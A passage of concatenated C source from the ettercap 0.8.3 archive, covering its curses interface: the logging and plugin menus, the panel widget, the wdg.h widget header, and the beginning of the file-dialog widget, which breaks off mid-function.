if(EC_GBL_LNET->lnet_IP6) libnet_destroy(EC_GBL_LNET->lnet_IP6); #endif DEBUG_MSG("ATEXIT: send_closed"); } struct iface_env* iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]) { struct source_entry *se; SOURCES_LIST_LOCK; LIST_FOREACH(se, &sources_list, next) { if(!memcmp(se->iface.mac, mac, MEDIA_ADDR_LEN)) { SOURCES_LIST_UNLOCK; return &se->iface; } } SOURCES_LIST_UNLOCK; return NULL; } ettercap-0.8.3/src/interfaces/0000755000175000017500000000000013505247364016106 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/curses/0000755000175000017500000000000013505247364017412 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/curses/ec_curses_logging.c0000644000175000017500000001021713505247364023240 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define FILE_LEN 40 /* proto */ static void toggle_compress(void); static void curses_log_all(void); static void log_all(void); static void curses_log_info(void); static void log_info(void); static void curses_log_msg(void); static void log_msg(void); static void curses_stop_log(void); static void curses_stop_msg(void); /* globals */ static char tag_compress[] = " "; static char *logfile; struct wdg_menu menu_logging[] = { {"Logging", 'L', "", NULL}, {"Log all packets and infos...", 'I', "I", curses_log_all}, {"Log only infos...", 'i', "i", curses_log_info}, {"Stop logging infos", 0, "", curses_stop_log}, {"-", 0, "", NULL}, {"Log user messages...", 'm', "m", curses_log_msg}, {"Stop logging messages", 0, "", curses_stop_msg}, {"-", 0, "", NULL}, {"Compressed file", 0, tag_compress, toggle_compress}, {NULL, 0, NULL, NULL}, }; /*******************************************/ static void toggle_compress(void) { if (EC_GBL_OPTIONS->compress) { tag_compress[0] = ' '; EC_GBL_OPTIONS->compress = 0; } else { tag_compress[0] = '*'; EC_GBL_OPTIONS->compress = 1; } } /* * display the log dialog */ static void curses_log_all(void) { DEBUG_MSG("curses_log_all"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); curses_input("Log File :", logfile, FILE_LEN, log_all); } static void log_all(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_loglevel(LOG_PACKET, logfile); SAFE_FREE(logfile); } /* * display the log dialog */ static void curses_log_info(void) { DEBUG_MSG("curses_log_info"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); curses_input("Log File :", logfile, FILE_LEN, log_info); } static void log_info(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_loglevel(LOG_INFO, logfile); SAFE_FREE(logfile); } static void curses_stop_log(void) { set_loglevel(LOG_STOP, ""); curses_message("Logging was stopped."); } /* * display the log dialog */ static void curses_log_msg(void) { DEBUG_MSG("curses_log_msg"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); curses_input("Log File :", logfile, FILE_LEN, log_msg); } static void log_msg(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_msg_loglevel(LOG_TRUE, logfile); SAFE_FREE(logfile); } static void curses_stop_msg(void) { set_msg_loglevel(LOG_FALSE, NULL); curses_message("Message logging was stopped."); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/ec_curses_plugins.c0000644000175000017500000001731013505247364023274 0ustar koeppeakoeppea/* ettercap -- curses GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #define MAX_DESC_LEN 75 /* proto */ static void curses_plugin_mgmt(void); static void curses_plugin_load(void); static void curses_load_plugin(const char *path, char *file); static void curses_wdg_plugin(char active, struct plugin_ops *ops); static void curses_refresh_plug_array(char active, struct plugin_ops *ops); static void curses_plug_destroy(void); static void curses_select_plugin(void *plugin); static void curses_create_plug_array(void); static void curses_plugin_help(void *dummy); /* globals */ static wdg_t *wdg_plugin; static struct wdg_list *wdg_plugin_elements; static size_t nplug; struct wdg_menu menu_plugins[] = { {"Plugins", 'P', "", NULL}, {"Manage the plugins", CTRL('P'), "C-p", curses_plugin_mgmt}, {"Load a plugin...", 0, "", curses_plugin_load}, {NULL, 0, NULL, NULL}, }; /* mutexes */ static pthread_mutex_t pluginlist_mutex = PTHREAD_MUTEX_INITIALIZER; /*******************************************/ /* * display the file open dialog */ static void curses_plugin_load(void) { wdg_t *fop; DEBUG_MSG("curses_plugin_load"); wdg_create_object(&fop, WDG_FILE, WDG_OBJ_WANT_FOCUS | WDG_OBJ_FOCUS_MODAL); wdg_set_title(fop, "Select a plugin...", WDG_ALIGN_LEFT); wdg_set_color(fop, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(fop, WDG_COLOR_WINDOW, EC_COLOR_MENU); wdg_set_color(fop, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(fop, WDG_COLOR_TITLE, EC_COLOR_TITLE); wdg_file_set_callback(fop, curses_load_plugin); wdg_draw_object(fop); wdg_set_focus(fop); } static void curses_load_plugin(const char *path, char *file) { int ret; DEBUG_MSG("curses_load_plugin %s/%s", path, file); /* load the plugin */ ret = plugin_load_single(path, file); /* check the return code */ switch (ret) { case E_SUCCESS: curses_message("Plugin loaded successfully"); break; case -E_DUPLICATE: ui_error("plugin %s already loaded...", file); break; case -E_VERSION: ui_error("plugin %s was compiled for a different ettercap version...", file); break; case -E_INVALID: default: ui_error("Cannot load the plugin...\nthe file may be an invalid plugin\nor you don't have the permission to open it"); break; } } /* * plugin management */ static void curses_plugin_mgmt(void) { DEBUG_MSG("curses_plugin_mgmt"); /* create the array for the list widget */ curses_create_plug_array(); /* if the object already exist, set the focus to it */ if (wdg_plugin) { /* set the new array */ wdg_list_set_elements(wdg_plugin, wdg_plugin_elements); return; } wdg_create_object(&wdg_plugin, WDG_LIST, WDG_OBJ_WANT_FOCUS); wdg_set_size(wdg_plugin, 1, 2, -1, SYSMSG_WIN_SIZE - 1); wdg_set_title(wdg_plugin, "Select a plugin...", WDG_ALIGN_LEFT); wdg_set_color(wdg_plugin, WDG_COLOR_SCREEN, EC_COLOR); wdg_set_color(wdg_plugin, WDG_COLOR_WINDOW, EC_COLOR); wdg_set_color(wdg_plugin, WDG_COLOR_BORDER, EC_COLOR_BORDER); wdg_set_color(wdg_plugin, WDG_COLOR_FOCUS, EC_COLOR_FOCUS); wdg_set_color(wdg_plugin, WDG_COLOR_TITLE, EC_COLOR_TITLE); /* set the elements */ wdg_list_set_elements(wdg_plugin, wdg_plugin_elements); /* add the destroy callback */ wdg_add_destroy_key(wdg_plugin, CTRL('Q'), curses_plug_destroy); /* add the callback */ wdg_list_select_callback(wdg_plugin, curses_select_plugin); wdg_list_add_callback(wdg_plugin, ' ', curses_plugin_help); wdg_draw_object(wdg_plugin); wdg_set_focus(wdg_plugin); } static void curses_plug_destroy(void) { wdg_plugin = NULL; } static void curses_plugin_help(void *dummy) { /* variable not used */ (void) dummy; char help[] = "HELP: shortcut list:\n\n" " ENTER - activate/deactivate a plugin"; curses_message(help); } /* * create the array for the widget. * erase any previously alloc'd array */ static void curses_create_plug_array(void) { int res, i = 0; DEBUG_MSG("curses_create_plug_array"); /* free the array (if alloc'ed) */ while (wdg_plugin_elements && wdg_plugin_elements[i].desc != NULL) { SAFE_FREE(wdg_plugin_elements[i].desc); i++; } SAFE_FREE(wdg_plugin_elements); nplug = 0; /* go thru the list of plugins */ res = plugin_list_walk(PLP_MIN, PLP_MAX, &curses_wdg_plugin); if (res == -E_NOTFOUND) { SAFE_CALLOC(wdg_plugin_elements, 1, sizeof(struct wdg_list)); wdg_plugin_elements->desc = "No plugin found !"; } } /* * refresh the array (the array must be pre-alloc'd) */ static void curses_refresh_plug_array(char active, struct plugin_ops *ops) { /* refresh the description */ snprintf(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN, "[%d] %15s %4s %s", active, ops->name, ops->version, ops->info); nplug++; } /* * callback function for displaying the plugin list */ static void curses_wdg_plugin(char active, struct plugin_ops *ops) { /* enlarge the array */ SAFE_REALLOC(wdg_plugin_elements, (nplug + 1) * sizeof(struct wdg_list)); /* fill the element */ SAFE_CALLOC(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN + 1, sizeof(char)); snprintf(wdg_plugin_elements[nplug].desc, MAX_DESC_LEN, "[%d] %15s %4s %s", active, ops->name, ops->version, ops->info); wdg_plugin_elements[nplug].value = ops->name; nplug++; /* null terminate the array */ SAFE_REALLOC(wdg_plugin_elements, (nplug + 1) * sizeof(struct wdg_list)); wdg_plugin_elements[nplug].desc = NULL; wdg_plugin_elements[nplug].value = NULL; } /* * callback function for a plugin */ static void curses_select_plugin(void *plugin) { /* prevent the selection when the list is empty */ if (plugin == NULL) return; /* print the message */ if (plugin_is_activated(plugin) == 0) INSTANT_USER_MSG("Activating %s plugin...\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n", plugin); /* * pay attention on this ! * if the plugin init does not return, * we are blocked here. So it is encouraged * to write plugins which spawn a thread * and immediately return */ if (plugin_is_activated(plugin) == 1) plugin_fini(plugin); else plugin_init(plugin); /* refres the array for the list widget */ curses_plugins_update(); } void curses_plugins_update(void) { DEBUG_MSG("curses_plugins_update"); CURSES_LOCK(pluginlist_mutex); /* refres the array for the list widget */ nplug = 0; plugin_list_walk(PLP_MIN, PLP_MAX, &curses_refresh_plug_array); /* refresh the list */ wdg_list_refresh(wdg_plugin); CURSES_UNLOCK(pluginlist_mutex); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/0000755000175000017500000000000013505247364021060 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/curses/widgets/wdg_panel.c0000644000175000017500000001625513505247364023175 0ustar koeppeakoeppea/* WDG -- panel widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define W(x) panel_window(x) /* GLOBALS */ struct wdg_panel { PANEL *win; PANEL *sub; }; /* PROTOS */ void wdg_create_panel(struct wdg_object *wo); static int wdg_panel_destroy(struct wdg_object *wo); static int wdg_panel_resize(struct wdg_object *wo); static int wdg_panel_redraw(struct wdg_object *wo); static int wdg_panel_get_focus(struct wdg_object *wo); static int wdg_panel_lost_focus(struct wdg_object *wo); static int wdg_panel_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_panel_border(struct wdg_object *wo); /*******************************************/ /* * called to create a window */ void wdg_create_panel(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_panel"); /* set the callbacks */ wo->destroy = wdg_panel_destroy; wo->resize = wdg_panel_resize; wo->redraw = wdg_panel_redraw; wo->get_focus = wdg_panel_get_focus; wo->lost_focus = wdg_panel_lost_focus; wo->get_msg = wdg_panel_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_panel)); } /* * called to destroy a window */ static int wdg_panel_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_panel, ww); WINDOW *win, *sub; WDG_DEBUG_MSG("wdg_panel_destroy"); /* erase the window */ wbkgd(W(ww->sub), COLOR_PAIR(wo->screen_color)); wbkgd(W(ww->win), COLOR_PAIR(wo->screen_color)); werase(W(ww->sub)); werase(W(ww->win)); /* dealloc the structures */ win = W(ww->win); sub = W(ww->sub); del_panel(ww->win); del_panel(ww->sub); delwin(win); delwin(sub); /* update the screen */ update_panels(); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a window */ static int wdg_panel_resize(struct wdg_object *wo) { wdg_panel_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a window */ static int wdg_panel_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_panel, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); WDG_DEBUG_MSG("wdg_panel_redraw"); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(W(ww->win), COLOR_PAIR(wo->screen_color)); werase(W(ww->win)); /* XXX - try to keep the window on screen */ if (c <= 2) c = 3; if (l <= 2) l = 3; if (x == 0) x = 1; if (y == 0) y = 1; /* resize the window and draw the new border */ WDG_MOVE_PANEL(ww->win, y, x); WDG_WRESIZE(W(ww->win), l, c); replace_panel(ww->win, W(ww->win)); wdg_panel_border(wo); /* resize the actual window and touch it */ WDG_MOVE_PANEL(ww->sub, y + 1, x + 1); WDG_WRESIZE(W(ww->sub), l - 2, c - 2); replace_panel(ww->sub, W(ww->sub)); /* set the window color */ wbkgd(W(ww->sub), COLOR_PAIR(wo->window_color)); touchwin(W(ww->sub)); /* the first time we have to allocate the window */ } else { /* create the outher window */ if ((ww->win = new_panel(newwin(l, c, y, x))) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_panel_border(wo); /* create the inner (actual) window */ if ((ww->sub = new_panel(newwin(l - 2, c - 2, y + 1, x + 1))) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgd(W(ww->sub), COLOR_PAIR(wo->window_color)); /* initialize the pointer */ wmove(W(ww->sub), 0, 0); scrollok(W(ww->sub), TRUE); /* put them ontop of the panel stack */ top_panel(ww->win); top_panel(ww->sub); } /* refresh the screen */ update_panels(); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the window gets the focus */ static int wdg_panel_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_panel_redraw(wo); return WDG_E_SUCCESS; } /* * called when the window looses the focus */ static int wdg_panel_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_panel_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the window is focused */ static int wdg_panel_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_panel, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(W(ww->win), mouse->y, mouse->x)) wdg_set_focus(wo); else return -WDG_E_NOTHANDLED; break; /* message not handled */ default: return -WDG_E_NOTHANDLED; break; } return WDG_E_SUCCESS; } /* * draw the borders and title */ static void wdg_panel_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_panel, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(W(ww->win), A_BOLD); wbkgdset(W(ww->win), COLOR_PAIR(wo->focus_color)); top_panel(ww->win); top_panel(ww->sub); } else wbkgdset(W(ww->win), COLOR_PAIR(wo->border_color)); /* draw the borders */ box(W(ww->win), 0, 0); /* set the border color */ wbkgdset(W(ww->win), COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(W(ww->win), 0, 3); break; case WDG_ALIGN_CENTER: wmove(W(ww->win), 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(W(ww->win), 0, c - strlen(wo->title) - 3); break; } wprintw(W(ww->win), wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(W(ww->win), A_BOLD); } /* * print a string in the window */ void wdg_panel_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...) { WDG_WO_EXT(struct wdg_panel, ww); va_list ap; WDG_DEBUG_MSG("wdg_panel_print"); /* move the pointer */ wmove(W(ww->sub), y, x); /* print the message */ va_start(ap, fmt); vw_printw(W(ww->sub), fmt, ap); va_end(ap); update_panels(); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg.h0000644000175000017500000002252613505247364022021 0ustar koeppeakoeppea #ifndef WDG_H #define WDG_H #include #include #include #include #include #ifdef OS_WINDOWS #include #endif #ifdef OS_DARWIN #include #endif #include #include #define LIBWDG_VERSION "0.10.3" /********************************************/ enum { WDG_E_SUCCESS = 0, WDG_E_NOTHANDLED = 1, WDG_EFINISHED = 2, WDG_E_FATAL = 255, }; extern void wdg_debug_init(void); extern void wdg_debug_close(void); extern void wdg_debug_msg(const char *message, ...); #ifdef DEBUG #define WDG_DEBUG_INIT() wdg_debug_init() #define WDG_DEBUG_CLOSE() wdg_debug_close() #define WDG_DEBUG_MSG(x, ...) wdg_debug_msg(x, ## __VA_ARGS__ ) #else #define WDG_DEBUG_INIT() #define WDG_DEBUG_CLOSE() #define WDG_DEBUG_MSG(x, ...) #endif extern void wdg_error_msg(char *file, const char *function, int line, char *message, ...); #define WDG_ON_ERROR(x, y, fmt, ...) do { if (x == y) wdg_error_msg(__FILE__, __FUNCTION__, __LINE__, fmt, ## __VA_ARGS__ ); } while(0) extern void wdg_bug(char *file, const char *function, int line, char *message); #define WDG_BUG_IF(x) do { if (x) wdg_bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) #define WDG_NOT_IMPLEMENTED() do { wdg_bug(__FILE__, __FUNCTION__, __LINE__, "Not yet implemented"); } while(0) #define WDG_SAFE_CALLOC(x, n, s) do { \ x = calloc(n, s); \ WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_CALLOC: %#x", __FUNCTION__, __LINE__, x); */ \ } while(0) #define WDG_SAFE_REALLOC(x, s) do { \ /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_REALLOC: before %#x", __FUNCTION__, __LINE__, x); */ \ x = realloc(x, s); \ WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_REALLOC: after %#x", __FUNCTION__, __LINE__, x); */ \ } while(0) #define WDG_SAFE_FREE(x) do{ \ /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_FREE: %#x", __FUNCTION__, __LINE__, x); */ \ if (x) { \ free(x); \ x = NULL; \ } \ }while(0) #define WDG_SAFE_STRDUP(x, s) do{ \ x = strdup(s); \ WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_STRDUP: %#x", __FUNCTION__, __LINE__, x); */ \ }while(0) #define WDG_EXECUTE(x, ...) do{ if(x != NULL) x( __VA_ARGS__ ); }while(0) #define WDG_LOOP for(;;) /* used by halfdelay */ #define WDG_INPUT_TIMEOUT 1 /* not defined in curses.h */ #define KEY_RETURN '\r' #define KEY_TAB '\t' #define KEY_CTRL_L 12 #ifndef CTRL #define CTRL(x) ((x) & 0x1f) #endif #define KEY_ESC CTRL('[') #define KEY_DC 0512 /* delete-character key */ #define KEY_IC 0513 /* insert-character key */ /* information about the current screen */ struct wdg_scr { size_t lines; size_t cols; size_t flags; #define WDG_SCR_HAS_COLORS 1 #define WDG_SCR_INITIALIZED (1<<1) }; /* global scruct for current screen */ extern struct wdg_scr current_screen; /* struct for mouse events */ struct wdg_mouse_event { size_t x; size_t y; size_t event; }; #define WDG_MOUSE_ENCLOSE(win, key, mouse) (key == KEY_MOUSE && wenclose(win, mouse->y, mouse->x)) /* struct for all wdg objects */ struct wdg_object { /* object flags */ size_t flags; #define WDG_OBJ_WANT_FOCUS 1 #define WDG_OBJ_FOCUS_MODAL (1<<1) #define WDG_OBJ_FOCUSED (1<<2) #define WDG_OBJ_VISIBLE (1<<3) #define WDG_OBJ_ROOT_OBJECT (1<<7) /* object type */ size_t type; #define WDG_COMPOUND 0 #define WDG_WINDOW 1 #define WDG_PANEL 2 #define WDG_SCROLL 3 #define WDG_MENU 4 #define WDG_DIALOG 5 #define WDG_PERCENTAGE 6 #define WDG_FILE 7 #define WDG_INPUT 8 #define WDG_LIST 9 #define WDG_DYNLIST 10 /* destructor function */ int (*destroy)(struct wdg_object *wo); int destroy_key; void (*destroy_callback)(void); /* called to set / reset the size */ int (*resize)(struct wdg_object *wo); /* called upon redrawing of the object */ int (*redraw)(struct wdg_object *wo); /* get / lost focus redrawing functions */ int (*get_focus)(struct wdg_object *wo); int (*lost_focus)(struct wdg_object *wo); /* called to process an input from the user */ int (*get_msg)(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); /* object cohordinates */ int x1, y1, x2, y2; /* object colors */ u_char screen_color; u_char border_color; u_char focus_color; u_char title_color; u_char window_color; u_char select_color; /* title */ char *title; char align; /* here is the pointer to extend a wdg object * it is a sort of inheritance... */ void *extend; }; typedef struct wdg_object wdg_t; /* WIDGETS */ #define WDG_MOVE_PANEL(pan, y, x) do{ WDG_ON_ERROR(move_panel(pan, y, x), ERR, "Resized too much... (%d,%d)", x, y); }while(0) #define WDG_WRESIZE(win, l, c) do{ WDG_ON_ERROR(wresize(win, l, c), ERR, "Resized too much...(%dx%d)", c, l); }while(0) #define WDG_WO_EXT(type, var) type *var = (type *)(wo->extend) /* alignment */ #define WDG_ALIGN_LEFT 0 #define WDG_ALIGN_CENTER 1 #define WDG_ALIGN_RIGHT 2 /* compound ojbects */ extern void wdg_compound_add(wdg_t *wo, wdg_t *widget); extern void wdg_compound_set_focus(wdg_t *wo, wdg_t *widget); extern wdg_t * wdg_compound_get_focused(wdg_t *wo); void wdg_compound_add_callback(wdg_t *wo, int key, void (*callback)(void)); /* window ojbects */ extern void wdg_window_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...); /* panel ojbects */ extern void wdg_panel_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...); /* scroll ojbects */ extern void wdg_scroll_erase(wdg_t *wo); extern void wdg_scroll_print(wdg_t *wo, int color, char *fmt, ...); extern void wdg_scroll_set_lines(wdg_t *wo, size_t lines); /* menu objects */ struct wdg_menu { char *name; int hotkey; char *shortcut; void (*callback)(void); }; extern void wdg_menu_add(wdg_t *wo, struct wdg_menu *menu); /* dialog objects */ extern void wdg_dialog_text(wdg_t *wo, size_t flags, const char *text); #define WDG_NO_BUTTONS 0 #define WDG_OK 1 #define WDG_YES (1<<1) #define WDG_NO (1<<2) #define WDG_CANCEL (1<<3) extern void wdg_dialog_add_callback(wdg_t *wo, size_t flag, void (*callback)(void)); /* percentage objects */ extern int wdg_percentage_set(wdg_t *wo, size_t p, size_t max); #define WDG_PERCENTAGE_INTERRUPTED -1 #define WDG_PERCENTAGE_FINISHED 0 #define WDG_PERCENTAGE_UPDATED 1 /* file dialog objects */ extern void wdg_file_set_callback(wdg_t *wo, void (*callback)(const char *path, char *file)); /* input dialog objects */ extern void wdg_input_size(wdg_t *wo, size_t x, size_t y); extern void wdg_input_add(wdg_t *wo, size_t x, size_t y, const char *caption, char *buf, size_t len, size_t lines); extern void wdg_input_set_callback(wdg_t *wo, void (*callback)(void)); extern void wdg_input_get_input(wdg_t *wo); /* list objects */ struct wdg_list { char *desc; void *value; }; void wdg_list_set_elements(struct wdg_object *wo, struct wdg_list *list); void wdg_list_add_callback(wdg_t *wo, int key, void (*callback)(void *)); void wdg_list_refresh(wdg_t *wo); void wdg_list_select_callback(wdg_t *wo, void (*callback)(void *)); /* dynlist objects */ void wdg_dynlist_refresh(wdg_t *wo); void wdg_dynlist_add_callback(wdg_t *wo, int key, void (*callback)(void *)); void wdg_dynlist_print_callback(wdg_t *wo, void * func(int mode, void *list, char **desc, size_t len)); void wdg_dynlist_select_callback(wdg_t *wo, void (*callback)(void *)); void wdg_dynlist_reset(wdg_t *wo); /* EXPORTED FUNCTIONS */ extern void wdg_init(void); extern void wdg_cleanup(void); extern void wdg_exit(void); extern void wdg_update_screen(void); extern void wdg_redraw_all(void); /* the main dispatching loop */ extern int wdg_events_handler(int exit_key); /* add/delete functions to be called when idle */ extern void wdg_add_idle_callback(void (*callback)(void)); extern void wdg_del_idle_callback(void (*callback)(void)); /* object creation */ extern int wdg_create_object(wdg_t **wo, size_t type, size_t flags); extern int wdg_destroy_object(wdg_t **wo); extern void wdg_add_destroy_key(wdg_t *wo, int key, void (*callback)(void)); /* object modifications */ extern void wdg_set_size(wdg_t *wo, int x1, int y1, int x2, int y2); extern void wdg_set_colors(wdg_t *wo, int color, size_t type); extern void wdg_draw_object(wdg_t *wo); extern size_t wdg_get_type(wdg_t *wo); extern void wdg_set_focus(wdg_t *wo); extern void wdg_set_title(wdg_t *wo, char *title, size_t align); extern void wdg_init_color(u_char pair, u_char fg, u_char bg); extern void wdg_set_color(wdg_t *wo, size_t part, u_char pair); #define WDG_COLOR_SCREEN 0 #define WDG_COLOR_TITLE 1 #define WDG_COLOR_BORDER 2 #define WDG_COLOR_FOCUS 3 #define WDG_COLOR_WINDOW 4 #define WDG_COLOR_SELECT 5 extern void wdg_screen_color(u_char pair); /* object size */ extern size_t wdg_get_nlines(wdg_t *wo); extern size_t wdg_get_ncols(wdg_t *wo); extern size_t wdg_get_begin_x(wdg_t *wo); extern size_t wdg_get_begin_y(wdg_t *wo); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_file.c0000644000175000017500000003571513505247364023017 0ustar koeppeakoeppea/* WDG -- file widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #ifndef HAVE_SCANDIR #include #endif /* GLOBALS */ struct wdg_file_handle { WINDOW *win; MENU *m; WINDOW *mwin; ITEM **items; size_t nitems; int nlist; size_t x, y; struct dirent **namelist; char curpath[PATH_MAX]; char initpath[PATH_MAX]; void (*callback)(const char *path, char *file); }; /* PROTOS */ void wdg_create_file(struct wdg_object *wo); static int wdg_file_destroy(struct wdg_object *wo); static int wdg_file_resize(struct wdg_object *wo); static int wdg_file_redraw(struct wdg_object *wo); static int wdg_file_get_focus(struct wdg_object *wo); static int wdg_file_lost_focus(struct wdg_object *wo); static int wdg_file_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_file_borders(struct wdg_object *wo); static void wdg_file_menu_destroy(struct wdg_object *wo); static void wdg_file_menu_create(struct wdg_object *wo); static int wdg_file_virtualize(int key); static int wdg_file_driver(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_file_callback(struct wdg_object *wo, const char *path, char *file); /*******************************************/ /* * called to create the file dialog */ void wdg_create_file(struct wdg_object *wo) { struct wdg_file_handle *ww; WDG_DEBUG_MSG("wdg_create_file"); /* set the callbacks */ wo->destroy = wdg_file_destroy; wo->resize = wdg_file_resize; wo->redraw = wdg_file_redraw; wo->get_focus = wdg_file_get_focus; wo->lost_focus = wdg_file_lost_focus; wo->get_msg = wdg_file_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_file_handle)); /* * remember the initial path. * this has to be restored after the file is selected */ ww = (struct wdg_file_handle *)wo->extend; getcwd(ww->initpath, PATH_MAX); /* default geometry */ ww->x = 50; ww->y = 18; } /* * called to destroy the file dialog */ static int wdg_file_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); WDG_DEBUG_MSG("wdg_file_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); wnoutrefresh(ww->win); /* destroy the internal menu */ wdg_file_menu_destroy(wo); /* dealloc the structures */ delwin(ww->win); /* restore the initial working directory */ if (chdir(ww->initpath) == -1) WARN_MSG("chdir failed: %s", strerror(errno)); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize the file dialog */ static int wdg_file_resize(struct wdg_object *wo) { wdg_file_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw the file dialog */ static int wdg_file_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_file_handle, ww); size_t c, l, x, y; WDG_DEBUG_MSG("wdg_file_redraw"); /* default dimentions */ wo->x1 = (current_screen.cols - ww->x) / 2; wo->y1 = (current_screen.lines - ww->y) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); /* deal with rouding */ if (l != ww->y) l = ww->y; if (c != ww->x) c = ww->x; /* the window already exist */ if (ww->win) { /* erase the 